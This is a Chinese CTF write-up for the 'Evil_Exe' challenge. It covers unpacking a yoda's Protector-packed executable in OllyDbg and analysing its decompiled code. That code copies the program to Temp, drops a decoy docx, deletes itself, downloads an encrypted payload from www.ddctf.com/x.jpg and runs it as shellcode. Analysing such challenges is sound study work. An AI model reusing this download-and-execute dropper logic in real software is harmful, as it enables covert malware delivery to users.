Evil_Exe(not totallly succeeded)
思路
程序双击打开后什么都没有发生,然后exe文件被删除了,取而代之的是一个docx文件
用ida打开该文件,显示无法翻译,怀疑使用了壳进行加密
查壳
用peid去查询壳类型
显示是yoda's Protector,使用对应的脱壳器进行脱壳,失败
去壳
用ollydbg手动去壳:
0x0043DCA8处是一个pushad,经过调试,程序会在此反复地pushad+popad地循环,所以直接设置eip至0x0043DCA2
0043DC85 > $ 56 push esi ; evil.<ModuleEntryPoint>
0043DC86 . E8 00000000 call evil.0043DC8B
0043DC8B $ 5E pop esi ; kernel32.76B80419
0043DC8C . B8 90110000 mov eax,0x1190
0043DC91 . 81EE 8B8C0000 sub esi,0x8C8B
0043DC97 > E8 0C000000 call evil.0043DCA8
0043DC9C . 83C6 08 add esi,0x8
0043DC9F . 48 dec eax
0043DCA0 .^ 75 F5 jnz short evil.0043DC97
0043DCA2 . 5E pop esi ; kernel32.76B80419
0043DCA3 .^ E9 08FEFFFF jmp evil.0043DAB0
0043DCA8 /$ 60 pushad
0043DCA9 |. 56 push esi ; evil.<ModuleEntryPoint>
0043DCAA |. AD lods dword ptr ds:[esi]
0043DCAB |. 93 xchg eax,ebx
0043DCAC |. AD lods dword ptr ds:[esi]
0043DCAD |. 92 xchg eax,edx ; evil.<ModuleEntryPoint>
0043DCAE |. BF 74713414 mov edi,0x14347174
0043DCB3 |. BD 34443144 mov ebp,0x44314434
0043DCB8 |. B9 AC174798 mov ecx,0x984717AC
0043DCBD |. BE 15DCE8AF mov esi,0xAFE8DC15
0043DCC2 |. 33C0 xor eax,eax
0043DCC4 |> C1CB 08 /ror ebx,0x8
0043DCC7 |. 03DA |add ebx,edx ; evil.<ModuleEntryPoint>
0043DCC9 |. 33DF |xor ebx,edi ; evil.<ModuleEntryPoint>
0043DCCB |. C1C2 03 |rol edx,0x3
0043DCCE |. 33D3 |xor edx,ebx
0043DCD0 |. C1CD 08 |ror ebp,0x8
0043DCD3 |. 03EF |add ebp,edi ; evil.<ModuleEntryPoint>
0043DCD5 |. 33E8 |xor ebp,eax
0043DCD7 |. C1C7 03 |rol edi,0x3
0043DCDA |. 33FD |xor edi,ebp
0043DCDC |. 87F1 |xchg ecx,esi ; evil.<ModuleEntryPoint>
0043DCDE |. 87F5 |xchg ebp,esi ; evil.<ModuleEntryPoint>
0043DCE0 |. 40 |inc eax
0043DCE1 |. 3C 1B |cmp al,0x1B
0043DCE3 |.^ 75 DF \jnz short evil.0043DCC4
0043DCE5 |. 5F pop edi ; kernel32.76B80419
0043DCE6 |. 93 xchg eax,ebx
0043DCE7 |. AB stos dword ptr es:[edi]
0043DCE8 |. 92 xchg eax,edx ; evil.<ModuleEntryPoint>
0043DCE9 |. AB stos dword ptr es:[edi]
0043DCEA |. 61 popad
0043DCEB \. C3 retn
来到此处,又看到一个pushad,但是这个pushad后面的popad是找不到了,最好使用esp定律来寻找popad
按一下F8,并记录下esp的值 0x0019FF54
0043DAB0 > /60 pushad
0043DAB1 . |BE 00504300 mov esi,evil.00435000
0043DAB6 . |8DBE 00C0FCFF lea edi,dword ptr ds:[esi-0x34000]
0043DABC . |57 push edi ; evil.<ModuleEntryPoint>
0043DABD . |83CD FF or ebp,-0x1
0043DAC0 . |EB 10 jmp short evil.0043DAD2
0043DAC2 |90 nop
0043DAC3 |90 nop
0043DAC4 |90 nop
dd 0019FF54
设置硬件断点
来到0x0043DC2E处
我开始没有分析出来,原来这里0x0043DC3B隐藏着一句jmp命令
0043DC2D . 61 popad
0043DC2E . 8D4424 80 lea eax,dword ptr ss:[esp-0x80]
0043DC32 > 6A 00 push 0x0
0043DC34 . 39C4 cmp esp,eax
0043DC36 .^ 75 FA jnz short evil.0043DC32
0043DC38 . 83EC 80 sub esp,-0x80
0043DC3B . E9 db E9
0043DC3C . A6 db A6
0043DC3D . 48 db 48 ; CHAR 'H'
0043DC3E . FC db FC
0043DC3F . FF db FF
0043DC40 48 db 48 ; CHAR 'H'
手动分析之后得到
0043DC2D . 61 popad
0043DC2E . 8D4424 80 lea eax,dword ptr ss:[esp-0x80]
0043DC32 > 6A 00 push 0x0
0043DC34 . 39C4 cmp esp,eax
0043DC36 .^ 75 FA jnz short evil.0043DC32
0043DC38 . 83EC 80 sub esp,-0x80
0043DC3B - E9 A648FCFF jmp evil.004024E6
0043DC40 48 db 48 ; CHAR 'H'
再F8几下,F4,并且去掉硬件断点(避免反复断)得到
004024E6 E8 BB2D0000 call evil.004052A6
004024EB ^ E9 78FEFFFF jmp evil.00402368
这是windows程序最明显的入口,一个call+一个jmp,我们只需要把这个地方作为入口点dump出来即可
接下来就可以用ida来查看各个函数了
程序大致思路:
将evil.exe文件本身复制到temp文件夹中,并且创建evil.docx文件
之后执行temp文件夹中的evil.exe (initialization)
到这里程序会return 6,使得winmain函数跳出,本目录下的evil.exe执行完毕
如果想继续用ollydbg调试的话,需要在mov eax, 6 把 6改为5,以便让程序不要结束
signed int __cdecl sub_401370(int a1)
{
char v2; // [esp+0h] [ebp-7BCh]
char DstBuf; // [esp+4h] [ebp-7B8h]
int v4; // [esp+21Ch] [ebp-5A0h]
char v5; // [esp+264h] [ebp-558h]
int v6; // [esp+370h] [ebp-44Ch]
char Src; // [esp+374h] [ebp-448h]
char Dst; // [esp+47Ch] [ebp-340h]
int v9; // [esp+588h] [ebp-234h]
char v10; // [esp+58Ch] [ebp-230h]
unsigned int v11; // [esp+59Ch] [ebp-220h]
int v12; // [esp+5A0h] [ebp-21Ch]
char v13; // [esp+5A4h] [ebp-218h]
CHAR File; // [esp+6ACh] [ebp-110h]
v6 = 0;
v12 = 0;
v11 = (*((int (__stdcall **)(int, char *, signed int))&byte_40B01C + 6))(a1, &v13, 261);
if ( v11 > 0x105 )
return 1;
v11 = (*((int (__stdcall **)(signed int, char *))&byte_40B01C + 5))(261, &Dst);
if ( v11 > 0x105 )
return 2;
_splitpath(&v13, 0, &File, &Src, &v5);
if ( strstr(&v13, "\\Temp\\") )
return 3;
strcat_s(&Dst, 0x105u, &Src);
if ( v5 != 46 )
strcat_s(&Dst, 0x105u, ".");
strcat_s(&Dst, 0x105u, &v5);
(*((void (__stdcall **)(char *, char *, _DWORD))&byte_40B01C + 4))(&v13, &Dst, 0);
strcat_s(&File, 0x105u, &Src);
strcat_s(&File, 0x105u, ".docx");
if ( !sub_4012E0(101, &v6, &v12) )
return 4;
v9 = (*((int (__stdcall **)(CHAR *, signed int, signed int, _DWORD, signed int, signed int, _DWORD))&byte_40B01C + 3))(
&File,
0x40000000,
1,
0,
2,
128,
0);
if ( v9 == -1 )
return 5;
(*((void (__stdcall **)(int, int, int, char *, _DWORD))&byte_40B01C + 2))(v9, v6, v12, &v2, 0);
(*((void (__stdcall **)(int))&byte_40B01C + 1))(v9);
sprintf_s(&DstBuf, 0x218u, "%s \"%s\"", &Dst, &v13);
memset(&v4, 0, 0x44u);
memset(&v10, 0, 0x10u);
v4 = 68;
byte_40B01C(0, &DstBuf, 0, 0, 0, 0, 0, 0, &v4, &v10);
ShellExecuteA(0, "open", &File, 0, 0, 1);
return 6; // 只要是正常执行evil.exe文件,都会返回6,所以到这里调试一定会结束
}
temp目录下的evil.exe开始执行
循环删除当前目录下的evil.exe (sub_401620) 这就是为什么运行一次程序就消失了
LPWSTR *sub_401620()
{
const WCHAR *v0; // eax
LPWSTR *result; // eax
int v2; // ST08_4
int pNumArgs; // [esp+4h] [ebp-8h]
LPWSTR *v4; // [esp+8h] [ebp-4h]
v0 = (const WCHAR *)(*((int (**)(void))&byte_40B01C + 9))();
result = CommandLineToArgvW(v0, &pNumArgs);
v4 = result;
if ( result && pNumArgs == 2 )//这个地方删除evil.exe文件
{
do
{
v2 = (*((int (__stdcall **)(LPWSTR))&byte_40B01C + 8))(v4[1]);
result = (LPWSTR *)(*((int (__stdcall **)(signed int))&byte_40B01C + 7))(512);
}
while ( !v2 );
}
return result;
}
从www.ddctf.com
读取jpg文件(可以通过搭建http服务器解决,上篇文章写过了)
void *__cdecl sub_4018F0(unsigned int *a1)
{
unsigned int v2; // [esp+0h] [ebp-18h]
DWORD dwNumberOfBytesRead; // [esp+4h] [ebp-14h]
BOOL v4; // [esp+8h] [ebp-10h]
void *v5; // [esp+Ch] [ebp-Ch]
HINTERNET hFile; // [esp+10h] [ebp-8h]
HINTERNET hInternet; // [esp+14h] [ebp-4h]
dwNumberOfBytesRead = 0;
v2 = 0;
hInternet = InternetOpenA("DDCTF", 0, 0, 0, 0);
hFile = InternetOpenUrlA(hInternet, "http://www.ddctf.com/x.jpg", 0, 0, 0x4000000u, 0);
if ( !hFile )
return 0;
v5 = malloc(0x100000u);
do
{
v4 = InternetReadFile(hFile, (char *)v5 + v2, 0x100000 - v2, &dwNumberOfBytesRead);
if ( !v4 )
break;
v2 += dwNumberOfBytesRead;
if ( !dwNumberOfBytesRead )
break;
}
while ( v2 < 0x100000 );
InternetCloseHandle(hFile);
if ( v2 <= 0x100000 )
{
*a1 = v2;
}
else
{
free(v5);
v5 = 0;
}
return v5;
}
进入dec1、dec2函数,将jpg文件解密
进入shell函数,在里面进行最后的解密,然后执行这个shell
关于ida的部分我就不贴了,因为这些指令主要是和汇编操作有关
这部分有两种解决方法
一种是调试,将解密的shellcode调试出来
另一种是计算,因为这是一个正向过程,很容易就能把解密函数的c代码复制下来,改改就能用了
这里我是用的调试法
直接在0x401220下断点
由于ida分析,拖黑的部分即为shellcode的最后解密代码,我们就把程序F4到那个地方
这里是才执行完for循环的位置,eax寄存器里面还保存有lpAddress的地址,我们直接Ctrl+g查看对应的内存
果然出现了一段疑似flag的字符串,不过提交后发现答案不对,这是因为这段字符串不全是flag,这其实是一段shellcode,里面夹杂了汇编指令
那个0x68应该就是push指令了
以下是失败的尝试,建议直接跳过
本来跳转没有实现,但是为了执行call edx ,我再一次无耻地改了eip
本以为可以成功跳转到对应的shellcode,然而我失败了,最终手输的flag
贴一个其他师傅的成功截图,我反正是没成功调到那一步的,,,太菜了